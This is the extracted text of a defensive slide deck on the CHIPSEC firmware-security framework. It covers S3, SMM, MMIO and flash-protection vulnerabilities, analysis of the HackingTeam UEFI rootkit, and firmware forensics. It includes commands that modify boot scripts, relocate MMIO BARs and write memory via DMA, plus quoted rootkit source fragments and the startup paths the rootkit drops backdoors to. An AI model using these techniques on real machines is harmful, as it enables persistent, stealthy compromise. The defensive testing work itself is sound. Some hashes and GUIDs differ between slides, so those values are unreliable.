Exploring Your System Deeper
[with CHIPSEC] is Not Naughty

Presenting: Oleksandr Bazhaniuk (@ABazhaniuk), Andrew Furtak
Mikhail Gorobets (@mikhailgorobets), Yuriy Bulygin (@c7zero)
Agenda

- Intro to firmware security
- Finding vulnerabilities in firmware
- Checking hardware protections
- Finding “problems” in firmware
- Finding vulnerabilities in hypervisors
- Conclusions
Intro to firmware security
Firmware Everywhere
Firmware Everywhere

- GBe NIC, WiFi, Bluetooth, WiGig
- Baseband (3G, LTE) Modems
- Sensor Hubs
- NFC, GPS Controllers
- HDD/SSD
- Keyboard and Embedded Controllers
- Battery Gauge
- Baseboard Management Controllers (BMC)
- Graphics/Video
- USB Thumb Drives, keyboards/mice
- Chargers, adapters
- TPM, security coprocessors
- Routers, network appliances
- **Main system firmware (BIOS, UEFI firmware, Coreboot)**
Why Attack Firmware?

- Getting extreme persistence
- Getting stealth
- Bypassing OS or VMM based security
- Having unobstructed access to hardware
- OS independent
- Making the system unbootable
Some In-the-wild Firmware Attacks

- Mebromi BIOS rootkit
- EQUATION Group HDD firmware malware
- Hacking Team UEFI rootkit
- Vault 7 Mac EFI implants (DerStarke/DarkMatter, Sonic Screwdriver)
CHIPSEC Framework

- Open Source Platform Security Assessment Framework
  
  https://github.com/chipsec/chipsec

- OS support: Windows, Linux, UEFI Shell. Added alpha version for Mac OS

  sudo apt-get install linux-headers nasm gcc libpython-dev
  sudo pip install chipsec
  sudo chipsec_main

- Architecture support: x86, ARM (WIP experimental)
Finding Vulnerabilities in System Firmware (BIOS, UEFI, Mac EFI, Coreboot)
Example: S3 Boot Script Vuln in PC UEFI and Mac EFI

[*] running module: chipsec.modules.common.uefi.s3bootscript

[x][ Module: S3 Resume Boot-Script Protections

[!] Found 1 S3 boot-script(s) in EFI variables

[*] Checking S3 boot-script at 0x00000000DA88A018

[!] S3 boot-script is in unprotected memory (not in SMRAM)

[*] Reading S3 boot-script from memory..

[*] Decoding S3 boot-script opcodes..

[*] Checking entry-points of Dispatch opcodes..

...

[-] FAILED: S3 Boot Script and entry-points of Dispatch opcodes do not appear to be protected

Technical Details of the S3 Resume Boot Script Vulnerabilities
Example: exploiting flash protections via S3 boot script vuln on Mac EFI

Technical Details of the S3 Resume Boot Script Vulnerabilities
Example: Mac EFI leaving SMM unlocked after S3

**Issue.** Loosing SMRAM protections after S3 sleep

**Step 1.** `chipsec_main -m common.smrr`  
PASSED

**Step 2.** Go to sleep. Resume from sleep

**Step 3.** `chipsec_main -m common.smrr`  
FAILED
Testing S3 Vulnerabilities

- Validate your system for S3 boot script vulnerabilities
  
  ```
  chipsec_main -m common.uefi.s3bootscript
  ```

- Also run **before and after** resuming from sleep!
  
  ```
  chipsec_main -m common.smrr
  chipsec_main -m common.spi_lock
  [or just run all modules] chipsec_main
  ```

- Manually test S3 boot script protections:
  
  ```
  chipsec_main -m tools.uefi.s3script_modify
  ```
Decoding S3 Boot Script Opcodes...

chipsec_util uefi s3bootscript

[000] Entry at offset 0x0000 (length = 0x21):
Data:
02 00 0F 01 00 00 00 00 00 00 00 00 00 c0 fe 00 00 00 00
01 00 00 00 00 00 00 00 00 00 00 00
Decoded:
  Opcode : S3_BOOTSCRIPT_MEM_WRITE (0x02)
  Width : 0x00 (1 bytes)
  Address: 0xFEC00000
  Count : 0x1
  Values : 0x00

[359] Entry at offset 0x2F2C (length = 0x20):
Data:
01 02 30 04 00 00 00 00 21 00 00 00 00 00 00 00 de ff ff ff 00 00 00 00
dec ff ff ff 00 00 00 00
Decoded:
  Opcode : S3_BOOTSCRIPT_IO_READ_WRITE (0x01)
  Width : 0x02 (4 bytes)
  Address: 0x00000430
  Value : 0x00000021
  Mask : 0xFFFFFFFF
Vulnerabilities in SMM of UEFI Firmware

Exploit tricks SMI handler to write to an address in **SMRAM** (Attacking and Defending BIOS in 2015)
Even though SMI handler check pointers for overlap with SMRAM, exploit can trick it to write to VMM protected page (Attacking Hypervisors via Firmware and Hardware)
Finding SMM “Pointer” vulnerabilities

[*][ Module: Testing SMI handlers for pointer validation vulnerabilities
...]

[*] Allocated memory buffer (to pass to SMI handlers): 0x00000000DAAC3000

[*] Testing SMI handlers defined in 'smm_config.ini'.

[*] testing SMI# 0x1F (data: 0x00) SW SMI 0x1F

[*] writing 0x500 bytes at 0x00000000DAAC3000

> SMI 1F (data: 00)
  RAX: 0x5A5A5A5A5A5A5A5A
  RBX: 0x00000000DAAC3000
  RCX: 0x0000000000000000
  RDX: 0x5A5A5A5A5A5A5A5A
  RSI: 0x5A5A5A5A5A5A5A5A
  RDI: 0x5A5A5A5A5A5A5A5A

< checking buffers contents changed at 0x00000000DAAC3000 +[29,32,33,34,35]

[!] DETECTED: SMI# 1F data 0 (rax=5A5A5A5A5A5A5A5A rbx=DAAC3000 rcx=0 rdx=...)

[-] Done: found 2 potential occurrences of unchecked input pointers

https://www.youtube.com/watch?v=z2Qf45nUeaA
[*] testing SMI# 0x1E (data: 0x00) SW SMI 0x1E ()
[*] writing 0x500 bytes at 0x00000000DAA69000

   > SMI 1E (data: 00)
       RAX: 0x5A5A5A5A5A5A5A5A
       RBX: 0x00000000DAA69000
       RCX: 0x0000000000000000
       RDX: 0x5A5A5A5A5A5A5A5A
       RSI: 0x5A5A5A5A5A5A5A5A
       RDI: 0x5A5A5A5A5A5A5A5A

   < checking buffers
   contents changed at 0x00000000DAA69000 +[0, 1, 258]

[!] DETECTED: SMI# 1E data 0 (rax=5A5A5A5A5A5A5A5A rbx=DAA69000 rcx=0 rdx=5A5A5A5A5A5A5A5A rsi

[*] testing SMI# 0x1F (data: 0x00) SW SMI 0x1F ()
[*] writing 0x500 bytes at 0x00000000DAA69000

   > SMI 1F (data: 00)
       RAX: 0x5A5A5A5A5A5A5A5A
       RBX: 0x00000000DAA69000
       RCX: 0x0000000000000000
       RDX: 0x5A5A5A5A5A5A5A5A
       RSI: 0x5A5A5A5A5A5A5A5A
       RDI: 0x5A5A5A5A5A5A5A5A

   < checking buffers
   contents changed at 0x00000000DAA69000 +[29, 32, 33, 34, 35]

[!] DETECTED: SMI# 1F data 0 (rax=5A5A5A5A5A5A5A5A rbx=DAA69000 rcx=0 rdx=5A5A5A5A5A5A5A5A rsi

[-] <<< Done: found 2 potential occurrences of unchecked input pointers
MMIO BAR Issues in Coreboot and UEFI

Firmware configures chipset and devices through MMIO

SMI handlers communicate with devices via MMIO registers

Device PCI CFG
Base Address (BAR)

Phys Memory
- MMIO range (registers)
- SMI Handlers in SMRAM
- OS Memory
Exploit with PCI access can modify BAR register and relocate MMIO range

On SMI interrupt, SMI handler firmware attempts to communicate with device(s)

It may read or write “registers” within relocated MMIO
SPI Controller MMIO BAR (Access to SPI Flash)

chipsec_util uefi var-write B 55555555-4444-3333-2211-000000000000 B.bin
chipsec_util mmio dump SPIBAR

[CHIPSEC] Dumping SPIBAR MMIO space..
[mmio] MMIO register range [0x00000000FE010000]
+00000000: 07FF0200
+00000004: 0000E000
+00000008: 002558AC
+0000000C: 00000000
+00000010: 4242423F
+00000014: 42424242
+00000018: 42424242
+0000001C: 42424242
+00000020: 42424242
+00000024: 42424242
+00000028: 42424242
+0000002C: 42424242
+00000030: 42424242
+00000034: 42424242
+00000038: 42424242
+0000003C: 42424242

SPI Status and Control

SPI Flash Address (address variable is written to in flash)

SPI Flash Data (Variable contents)
Monitoring changes in USB MMIO BAR

Module: Monitors MMIO changes done by SMI handlers

Configuration:
- MMIO BAR names: ['USBBAR']
- Generate SMI: True
- SMI codes: [0x00:0x00]

SMM comm buffer (EBX): 0x00000000D9469000
MMIO BAR 'USBBAR': base = 0x00000000F063C000, size = 0x00001000
reading contents of MMIO BARs ['USBBAR']
reading 'USBBAR'
calculating normal MMIO BAR differences..
'USBBAR' normal difference (5 diffs):
diff0: 0 regs []

diff19: 2 regs [70, 74]
2 regs changed: [70, 74]
fuzzing SMIs..
SMI# 00: data 00, func (ECX) 0x00000000
reading 'USBBAR'
generating SMI
reading 'USBBAR'
diffing 'USBBAR' (1024 regs)
2 regs changed: [70, 77]
ew regs: [77]

New changes found!
repeating SMI
reading 'USBBAR'
diffing 'USBBAR' (1024 regs)
2 regs changed: [70, 74]
ew regs: []
Testing for MMIO BAR issues

chipsec_main -i -m tools.smm.rogue_mmio_bar

Reallocating MMIO BAR to new location
Trigger SMIs and check new memory location
Windows 10 Virtualization Based Security (VBS)

- Secure Kernel
- Virtual TPM
- Isolated Local Security Service

- Normal World Applications
- Windows Kernel
- Windows 10 (Root Partition VM)

- VSM
- Hyper-V Based Hypervisor
- System Firmware
- SoC with VT, IOMMU, TPM
Example: Bypassing Windows 10 Virtual Secure Mode
Checking Hardware Protections
Example: Unprotected UEFI Firmware in Flash

```plaintext
[CHIPSEC] Platform: Desktop 6th Generation Core Processor Quad Core (Skylake CPU / Sunrise Point PCH)
[CHIPSEC] VID: 8086
[CHIPSEC] DID: 191F

[+] loaded chipsec.modules.common.bios_wp
[*] running loaded modules ..

[*] running module: chipsec.modules.common.bios_wp
[*] Module path: /home/user/Desktop/chipsec/source/tool/chipsec/modules/common/bios_wp.pyc
[x] Module: BIOS Region Write Protection
[x] -----------------------------------------------
[*] BC = 0x000000A88 << BIOS Control (b:d.f 00:31:5 + 0x0DC)
  [00] BIOSWE = 0 << BIOS Write Enable
  [01] BLE = 0 << BIOS Lock Enable
  [02] SRC = 2
  [04] TSS = 0 << Top Swap Status
  [05] SMM_BWP = 0 << SMM BIOS Write Protection
  [06] BBS = 0
  [07] BILD = 1 << BIOS Interface Lock Down
[-] BIOS region write protection is disabled!

[*] BIOS Region: Base = 0x00000000, Limit = 0x007FFFFFF
SPI Protected Ranges

<table>
<thead>
<tr>
<th>PRx (offset)</th>
<th>Value</th>
<th>Base</th>
<th>Limit</th>
<th>WP?</th>
<th>RP?</th>
</tr>
</thead>
<tbody>
<tr>
<td>PRO (84)</td>
<td></td>
<td>00000000</td>
<td>00000000</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>PRI (85)</td>
<td></td>
<td>00000000</td>
<td>00000000</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>PR2 (86)</td>
<td></td>
<td>00000000</td>
<td>00000000</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>PR3 (90)</td>
<td></td>
<td>00000000</td>
<td>00000000</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>PR4 (94)</td>
<td></td>
<td>00000000</td>
<td>00000000</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

[!] None of the SPI protected ranges write-protect BIOS region
```
Example: SMM Protections – Memory Sinkhole Vulnerability

chipsec_main -m tools.cpu.sinkhole

[*] loaded chipsec.modules.tools.cpu.sinkhole
[*] running loaded modules ..
[*] running module: chipsec.modules.tools.cpu.sinkhole
[X][ Module: x86 SMM Memory Sinkhole
[X][ SMRR range protection is supported
[*] IA32_APIC_BASE = 0xFEE00000 << Local APIC Base (MSR 0x1B)
   [08] BSP = 1 << Bootstrap Processor
   [10] x2APICEn = 1 << Enable x2APIC mode
   [12] APICBase = FEE00 << APIC Base
[*] IA32_SMRR_PHYSBASE = 0xB4000006 << SMRR Base Address MSR (MSR 0x1F2)
   [00] Type = 6 << SMRR memory type
   [12] PhysBase = 88400 << SMRR physical base address
[*] Local APIC Base: 0x00000000FEE00000
[*] SMRR Base : 0x00000000B4000000
[*] Attempting to overlap Local APIC page with SMRR region
during 0xB4000 to IA32_APIC_BASE[APICBase]..

[] NOTE: The system may hang or process may crash when running this test. In that case, the mitigation to this issue is likely working but we may not be handling the exception generated.

The Memory Sinkhole by Christopher Domas
Checking Memory Protections

```bash
sudo chipsec_main -m memconfig
```

```
[+] loaded chipsec.modules.memconfig
[+] running loaded modules ..

[+] running module: chipsec.modules.memconfig

[+][---------------------------------------------------------------------------------------------------------------------------------]
[+][ Module: Host Bridge Memory Map Locks ]
[+][---------------------------------------------------------------------------------------------------------------------------------]
[+][ PCI0.0._BDSM ] = 0x0000000008C00001 - LOCKED - Base of Graphics Stolen Memory
[+][ PCI0.0._BGSM ] = 0x0000000008B00001 - LOCKED - Base of GTT Stolen Memory
[+][ PCI0.0._DPR ] = 0x000000000BB40001 - LOCKED - DMA Protected Range
[+][ PCI0.0._GCC ] = 0x000000000000002C1 - LOCKED - Graphics Control
[+][ PCI0.0._MESEG_MASK ] = 0x000000007FFF000C00 - LOCKED - Manageability Engine Limit Address Register
[+][ PCI0.0._PAVPC ] = 0x00000000008FF00047 - LOCKED - PAVP Configuration
[+][ PCI0.0._REMAPBASE ] = 0x00000000007FF00001 - LOCKED - Memory Remap Base Address
[+][ PCI0.0._REMAPLIMIT ] = 0x00000000006EF00001 - LOCKED - Memory Remap Limit Address
[+][ PCI0.0._TOLUD ] = 0x00000000009000001 - LOCKED - Top of Low Usable DRAM
[+][ PCI0.0._TOM ] = 0x0000000008000001 - LOCKED - Top of Memory
[+][ PCI0.0._TOUUD ] = 0x00000000086F00001 - LOCKED - Top of Space Usable DRAM
[+][ PCI0.0._TSEGB ] = 0x0000000000B400001 - LOCKED - TSEG Memory Base
[+][ PASSED: All memory map registers seem to be locked down]
```

Checking LOCK bits in PCIe config registers
Integrated Graphics Aperture

Access to GFx Aperture (MMIO) is redirected to DRAM per GTT PTEs

4GB

Low MMIO Range

GTT MMIO

Graphics Aperture

GFx Memory

DRAM

GTT PTEs

Access to GFx Aperture
TOLUD
Software DMA Access via IGD with CHIPSEC

```bash
chipsec_util igd
chipsec_util igd dmaread <address> [width] [file_name]
chipsec_util igd dmawrite <address> <width> <value|file_name>
```

- Cannot access certain memory ranges such as SMRAM
- A way for Graphics kernel driver to access Graphics Stolen data memory
- Separate graphics IOMMU/VT-d engine (controlled by GFXVTBAR)

References:

Intel Graphics for Linux – Hardware Specification – PRMs
Finding “Problems” With the Firmware
Vault7 EFI DerStarke/DarkMatter Implant

- DerStarke includes DarkMatter Mac EFI firmware persistence implant with multiple DXE and PEI executables
- Doesn't just rely on unlocked flash like HackingTeam's UEFI rootkit
- Re-infects EFI firmware updates with implants already in the firmware
- Contains DarkDream exploit which appears to bypass firmware protections on resume from S3 sleep to permanently unlock SPI flash
- Using S3 resume in the exploit suggests exploitation of one of S3 boot script vulns
  - Technical Details of the S3 Resume Boot Script Vulnerabilities
  - Attacks On UEFI Security by Rafal Wojtczuk and Corey Kallenberg
  - Reversing Prince Harming’s kiss of death by Pedro Vilaca
  - Exploiting UEFI boot script vulnerability by Dmytro Oleksiuk
## UEFI Rootkit

<table>
<thead>
<tr>
<th>Filename</th>
<th>Folder</th>
<th>Comparison result</th>
</tr>
</thead>
<tbody>
<tr>
<td>D4A35818-94E2-4B28-8E87-02F1CF485722.FV_DXE_CORE-05.org</td>
<td>FV</td>
<td>Folders are different</td>
</tr>
<tr>
<td>D4A35818-94E2-4B28-8E87-02F1CF485722.FV_DXE_CORE-05.org</td>
<td>FV</td>
<td>Folders are different</td>
</tr>
<tr>
<td>D4A35818-94E2-4B28-8E87-02F1CF485722.FV_DXE_CORE-05.org</td>
<td>FV</td>
<td>Folders are different</td>
</tr>
<tr>
<td>D4A35818-94E2-4B28-8E87-02F1CF485722.FV_DXE_CORE-05.org</td>
<td>FV</td>
<td>Folders are different</td>
</tr>
<tr>
<td>D4A35818-94E2-4B28-8E87-02F1CF485722.FV_DXE_CORE-05.org</td>
<td>FV</td>
<td>Folders are different</td>
</tr>
</tbody>
</table>

Right only: `\C:\infected\bios.bin\FV\00_D4A35818-94E2-4B28-8E87-02F1CF485722.FV_DXE_CORE-05.exe`
HackingTeam's UEFI Rootkit

- **rkloader** is a DXE driver that is automatically executed during boot.
- The module simply registers a callback on **READY_TO_BOOT** event to execute the malicious payload.

```c
EFI_EVENT Event;

DEBUG((EFI_D_INFO, "Running RK loader: \n"));
InitializeLib(ImageHandle, SystemTable);

// reset event!
```

Analysis of the HackingTeam's UEFI Rootkit
HackingTeam[ UEFI Rootkit

- The callback then loads a UEFI application, which checks for infection by looking for UEFI variable “fTA”

```c
/**
 * leggo in NvRam la variabile fTA
 */

BOOLEAN
EFI_API
CheckFTA()
{
  EFI_STATUS Status = EFI_SUCCESS;
  UINTN VarDataSize;
  UINT8 VarData;

  VarData=0;
  VarDataSize=sizeof(VarData);
  Status=gRT->GetVariable(L"fTA", &gFSGlobalFileVariableGuid, NULL, &VarDataSize, (UINTN*)&VarData);
```

- Use NTFS module to drop a backdoor (scoute.exe) and RCS agent (soldier.exe) onto the filesystem

```
#define FILE_NAME_SCOUT L"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
#define FILE_NAME_SOLDIER L"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
#define FILE_NAME_ELITE L"\AppData\Local\"
#define DIR_NAME_ELITE L"\AppData\Local\Microsoft\"

// (20 + (6+5+2)+1) unicode characters from EFI FAT spec (doubled for bytes)
```

Analysis of the HackingTeam's UEFI Rootkit
HackingTeam [ UEFI Rootkit

Infection

- Installed via physical access and a SPI programmer
- Or by booting a USB image to erase and reprogram firmware. Requires unlocked (vulnerable) firmware on a target system
- Automatic reinfection after removal of remote access components

Detection

- Can be detected by finding fTA UEFI variable with GUID
  
  8BE4DF61-93CA-11d2-aa0d-00e098302288
  
  chipsec_util uefi var-find fTA

- Examine firmware image for additional DXE modules (see later)
PoC SmmBackdoor by Dmytro Oleksiuk

- Installed by adding additional sections to existing SMM driver
- Provides SMI interfaces for OS level caller
  - Direct SW SMI
  - Periodic SMI with “magic” numbers in registers to identify a call
- Provides read/write memory access. Easily extensible

Building reliable SMM backdoor for UEFI based platforms
So you’ve got a system with suspicious firmware?
Where to Start From? Firmware Acquisition

1. Obtain clean/original firmware image
   1. Extract known good firmware image from a supposedly clean system (or from multiple systems). For example, when purchased (beware of supply chain attack) or before travel
   2. Firmware update image (UEFI “capsule” image) or full firmware image on the platform manufacturer’s web-site

2. Get the firmware image from suspect system, periodically or when suspect (e.g. after travel)
   - If you have an infector sample, make firmware dumps before and after the infection

3. Firmware can be acquired with software (e.g. CHIPSEC) or hardware tools
   - chipsec_util spi dump firmware.bin
   - **Important:** software based acquisition methods of firmware images can be tampered with. Whenever possible, use hardware tools to extract firmware

4. Compare the two images (see next slides for details)
   - Check firmware security advisories to understand how the firmware could be compromised and infected. This would help determining what to look for when comparing images
Detecting Unexpected Firmware Modifications

Check UEFI firmware image for unexpected modifications, e.g. added EFI executable binaries

```bash
chipsec_main -m tools.uefi.whitelist [-a check,<json>,<fw_image>]
```

Decodes UEFI firmware image and checks all EFI executable binaries against a specified list

`json` JSON file with configuration of white-listed EFI executables

`fw_image` Full file path to UEFI firmware image. If not specified, the module will dump firmware image directly from ROM
Generating Whitelist...

chipsec_main -n -m tools.uefi.whitelist -a generate,orig.json,fw.bin

[+] loaded chipsec.modules.tools.uefi.whitelist
[*] running loaded modules ..

[*] running module: chipsec.modules.tools.uefi.whitelist
[*] Module arguments (3):
['generate', 'orig.json', 'fw.bin']

[+] Module: Simple white-list generation/checking for UEFI firmware
...

[*] reading firmware from 'fw.bin'
[*] generating a list of EFI executables from firmware image...
[*] found 278 EFI executables in UEFI firmware image 'fw.bin'
[*] creating JSON file '/home/user/p2/chipsec/orig.json'

Assumes there’s a way to generate clean (uninfected) list of EFI executables. For example, from the update image downloaded from the vendor web-site
Checking (U)EFI Executables Against Whitelist...

```
chipsec_main -n -m tools.uefi.whitelist -a check,orig.json,fw.bin

[ ] Module: simple white-list generation/checking for (U)EFI firmware
[ ] reading firmware from 'unpacked'...
[*] checking EFI executables against the list 'C:\chipsec\original.json'
[*] found 279 EFI executables in UEFI firmware image 'unpacked'
[!] found EFI executable not in the list:
  3a4cdca9c5d4fe680b4b00118c31cae6c1b5990593875e9024a7e278819b132 (sha256)
  64d44b705bb7ae4b8e4d9fb0b3b3c66bcbaae57f (sha1)
  {F50258A9-2F4D-4DA9-861E-BDA84D07A44C}
  rkloader
[!] found EFI executable not in the list:
  ed0dc60e47d3225e2148e9769399fd9e07f342e2ee0be3ba804ead5c945efa (sha256)
  d359a9546b277f16bc495fe7b2e8339b5d0389a8 (sha1)
  {EAEA9AEC-C9C1-46E2-9D52-432AD25A9B0B}
  <unknown>
[!] found EFI executable not in the list:
  dd2b99df1f10459d3a9d173240e909de28eb895614a6b3b7720eebf470a988a8 (sha256)
  4a1628fa128747c77c51d57a5d09724007692d85 (sha1)
  {F50248A9-2F4D-4DE9-86AE-BDA84D07A41C}
  Ntfs
[!] WARNING: found 3 EFI executables not in the list 'C:\chipsec\original.json'
```

Extra EFI executables belong to HackingTeam's UEFI rootkit
Verifying Mac EFI whitelist on Mac OS
Blacklisting Bad (U)EFI Executables

Check UEFI firmware image for known bad (vulnerable or malicious) EFI executable binaries

```
chipsec_main -i -m tools.uefi.blacklist [-a <fw_image>,<blacklist>]
```

Examples:

```
chipsec_main.py -m tools.uefi.blacklist

Dumps UEFI firmware image from flash memory device, decodes it and
checks for black-listed EFI modules defined in the default config 'blacklist.json'

chipsec_main.py -i --no_driver -m tools.uefi.blacklist -a uefi.rom,blacklist.json

Decodes 'uefi.rom' binary with UEFI firmware image and
checks for black-listed EFI modules defined in 'blacklist.json' config
```

Important! This module can only detect what it knows about from its config file. If a bad or vulnerable binary is not detected then its 'signature' needs to be added to the config.
Blacklist Example (in JSON format)

"HT_UEFI_Rootkit": {

  "description": "HackingTeam UEFI Rootkit
  (http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html)",

  "match": {
    "rkloader" : { "guid": "F50258A9-2F4D-4DA9-861E-BDA84D07A44C" },
    "rkloader_name" : { "name": "rkloader" },
    "Ntfs" : { "guid": "F50248A9-2F4D-4DE9-86AE-BDA84D07A41C" },
    "app" : { "guid": "EAEA9AEC-C9C1-46E2-9D52-432AD25A9B0B" }
  }
}
Checking Firmware for Blacklisted UEFI Executables

chipsec_main -n -m tools.uefi.blacklist -a fw.bin

[uefi] checking S_PE32 section of binary {8DA47F11-AA15-48C8-80A7-23EE4852086B} A01WMSmHandler
[uefi] checking S_PE32 section of binary {C76233C1-96FD-4CB3-9453-55C9077CE3C8} WM00WMISmHandler
[uefi] checking S_PE32 section of binary {F50248A9-2F4D-4DE9-86AE-BDA84D07A41C} Ntfs
[!] match 'HT_ROOTkit.rkloader'
  GUID: {F50248A9-2F4D-4DE9-86AE-BDA84D07A41C}
[!] match 'HT_ROOTkit.Ntfs_name'
  name: 'Ntfs'
[!] found EFI binary matching 'HT_ROOTkit'
  HackingTeam UEFI Rootkit (http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit)
+00000018h S PE32 section of binary {F50248A9-2F4D-4DE9-86AE-BDA84D07A41C} Ntfs: Type 10h
  MD5: d54d73b68c29710c652b29bbab33bf
  SHA1: 4a1628fa128747c77c51d57a5d09724007692d85
  SHA256: dd2b99df1f10459d3a9d173240e909de28eb895614a6b3b7720eebf470a988a0
[uefi] checking S_PE32 section of binary {F50258A9-2F4D-4DA9-861E-BDA84D07A44C} rkloader
[!] match 'HT_ROOTkit.Ntfs'
  GUID: {F50258A9-2F4D-4DA9-861E-BDA84D07A44C}
[!] match 'HT_ROOTkit.rkloader_name'
  name: 'rkloader'
[!] found EFI binary matching 'HT_ROOTkit'
  HackingTeam UEFI Rootkit (http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit)
+00000018h S PE32 section of binary {F50258A9-2F4D-4DA9-861E-BDA84D07A44C} rkloader: Type 10h
  MD5: 6b433d439010f66794f87fbb9413805
  SHA1: 64d44b705bb7a4b484d9f0b3b3c66bcbaaa57f
  SHA256: 3a4cdca9c5d4fe68bb5b0118c31cae6c1b5990593875e9024a7e278819b132
Extracting EFI Executables from UEFI Binary

# chipsec_util decode firmware.bin

EFI Firmware Volume

Compressed Section

Internal Firmware Volume

Internal EFI File

Actual PE/COFF EFI Binary
Saving EFI Tree to JSON

```
{
    "SHA1": "d90cf3bb1c6e3bb74a4e84c871d9af6cf45e1fd",
    "SHA256": "c5f2e7477727719358ae8fab9a14932d0e85463d57667ec7e9a7ed7d797f7f0",
    "Name": "F50258A9-2F4D-4DA9-861E-BDA84D07A44C",
    "isNVRAM": false,
    "UI": false,
    "Checksum": 23097,
    "Offset": 598476,
    "class": "EFI_FILE",
    "file_path": "unpacked.dir\1_200000-7FFFFFF_BIOS.bin.dir\FV\00_7A9354D9-0468-444A-81CE-0BF617D890DF.dir\00_4A538818-5AE0-4E",
    "State": 248,
    "Size": 1794,
    "ui_string": "rkloader",
    "CalcSum": 43577,
    "Attributes": 0,
    "GUID": "F50258A9-2F4D-4DA9-861E-BDA84D07A44C",
    "Type": 7,
    "children": [
        {
            "SHA1": "64d44b706bb7ae4b8e4d9fb0b3b3c66bcb9e57f",
            "Name": "S_PE32",
            "isNVRAM": false,
            "class": "EFI_SECTION",
            "file_path": "unpacked.dir\1_200000-7FFFFFF_BIOS.bin.dir\FV\00_7A9354D9-0468-444A-81CE-0BF617D890DF.dir\00_4A538818-5AE0-4E",
            "parentGUID": "F50258A9-2F4D-4DA9-861E-BDA84D07A44C",
            "Offset": 24,
            "ui_string": "rkloader",
            "SHA256": "3a4cda29c5d4de68bb408118c310e6c1b599053875e90247e278819b132",
            "Type": 16,
            "HeaderSize": 4,
            "MD5": "6b433d433011f667304f8f7fbb9413805"
        }
    ]
}
```
Tools

Other great tools to extract and decode UEFI firmware images

1. **UEFITool**: GUI software by Nikolaj Schlej
2. **uefi-firmware-parser** by Teddy Reed
3. **flashrom** to extract firmware images from SPI flash
Firmware Artifacts

To perform system firmware forensics, the following artifacts can be extracted and analyzed:

1. Layout and entire contents of SPI Flash memory
2. BIOS/UEFI firmware including EFI binaries and NVRAM
3. Runtime or Boot UEFI Variables (non-volatile and volatile)
4. UEFI Secure Boot certificates (PK, KEK, db/dbx ..)
5. UEFI system and configuration tables (Runtime, Boot and DXE services)
6. UEFI S3 resume boot script table
7. PCIe option (expansion) ROMs
Firmware Artifacts

8. Settings stored in RTC-backed CMOS memory
9. ACPI tables
10. SMBIOS table
11. HW protection settings (e.g. SPI W/P)
12. System security settings (Secure Boot, etc.)
13. Contents of TPM Platform Configuration Registers (PCR)
14. Firmware images from other components such as HDD/SSD, NIC, Embedded Controller, etc.
15. MBR/VBR or UEFI GUID Partition Table (GPT)
16. Files on EFI system partition (boot loaders)
Extracting EFI Configuration (from the image)

Firmware NVRAM configurations is extracted when UEFI firmware image is decoded

Alternatively, this command can be used:

```
chipsec_util uefi nvram nvar rom.dump.bin
```

Path to extracted/parsed NVRAM contents:

- NVRAM dump:    `rom.dump.bin.dir\nvram_nvar.nvram.bin`
- Decoded variables:    `rom.dump.bin.dir\nvram_nvar.nvram.lst`

Format of NVRAM and variables are platform/firmware specific.

CHIPSEC supports multiple types of NVRAM: **EVSA, NVAR, VSS, VSS_AUTH, VSS_APPLE**
# Extracting EFI Configuration (on a live system)

## chipsec_util uefi var-list

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>AcpiGlobalVariable_C024093E-6D82-41F2-3A58-CA95F711D30A_NV+5+Rt_1</td>
<td>bin</td>
<td>8</td>
</tr>
<tr>
<td>AMTSEL_Setup_C01FAF30-42C0-4529-90AB-G6E84DF0B34_NV+5+Rt_0</td>
<td>bin</td>
<td>81</td>
</tr>
<tr>
<td>Boot0000_00E4DF61-93CA-11D2-AA00-00E9B32B8C_NV+5+Rt_0</td>
<td>bin</td>
<td>136</td>
</tr>
<tr>
<td>Boot0001_00E4DF61-93CA-11D2-AA00-00E9B32B8C_NV+5+Rt_0</td>
<td>bin</td>
<td>300</td>
</tr>
<tr>
<td>BootCurrent_00E4DF61-93CA-11D2-AA00-00E9B32B8C_NV+5+Rt_0</td>
<td>bin</td>
<td>2</td>
</tr>
<tr>
<td>BootOptionSupport_00E4DF61-93CA-11D2-AA00-00E9B32B8C_NV+5+Rt_0</td>
<td>bin</td>
<td>4</td>
</tr>
<tr>
<td>BootOrder_00E4DF61-93CA-11D2-AA00-00E9B32B8C_NV+5+Rt_0</td>
<td>bin</td>
<td>10</td>
</tr>
<tr>
<td>db_D71902CD-3DA-4596-A3BC-0ADD0C67655F_NV+5+Rt+TBAWS_0</td>
<td>bin</td>
<td>3,143</td>
</tr>
<tr>
<td>dbx_D71902CD-3DA-4596-A3BC-0ADD0C67655F_NV+5+Rt+TBAWS_0</td>
<td>bin</td>
<td>76</td>
</tr>
<tr>
<td>DimmSsdData_A08A3265-8090-47A6-8E2E-C226BE1649A_NV+5+Rt_0</td>
<td>bin</td>
<td>8</td>
</tr>
<tr>
<td>DmiData_405E530-280C-4419-A857-93851BC375_NV+5+Rt_0</td>
<td>bin</td>
<td>294</td>
</tr>
<tr>
<td>FastBootOptions_U54A505-2976-4A67-91CB-7207640262_NV+5+Rt_0</td>
<td>bin</td>
<td>7</td>
</tr>
<tr>
<td>FlashInfoStructure_02F0D0B0-02C1-41FD-0EFD-047CF2123529_NV+5+Rt_0</td>
<td>bin</td>
<td>8</td>
</tr>
<tr>
<td>Guid13D4_F916214-5269-4912-A1C3-52A2C03E26DB_NV+5+Rt_0</td>
<td>bin</td>
<td>1,560</td>
</tr>
<tr>
<td>KEE_06E4DF61-93CA-11D2-AA00-00E9B32B8C_NV+5+Rt+TBAWS_0</td>
<td>bin</td>
<td>16</td>
</tr>
<tr>
<td>LastBoot_054A530-6878-4A47-91C8-7207640262_NV+5+Rt_0</td>
<td>bin</td>
<td>10</td>
</tr>
<tr>
<td>LegacyDevOptions_A000-418E-BF3F-0F21-0D268D3652_NV+5+Rt_0</td>
<td>bin</td>
<td>120</td>
</tr>
<tr>
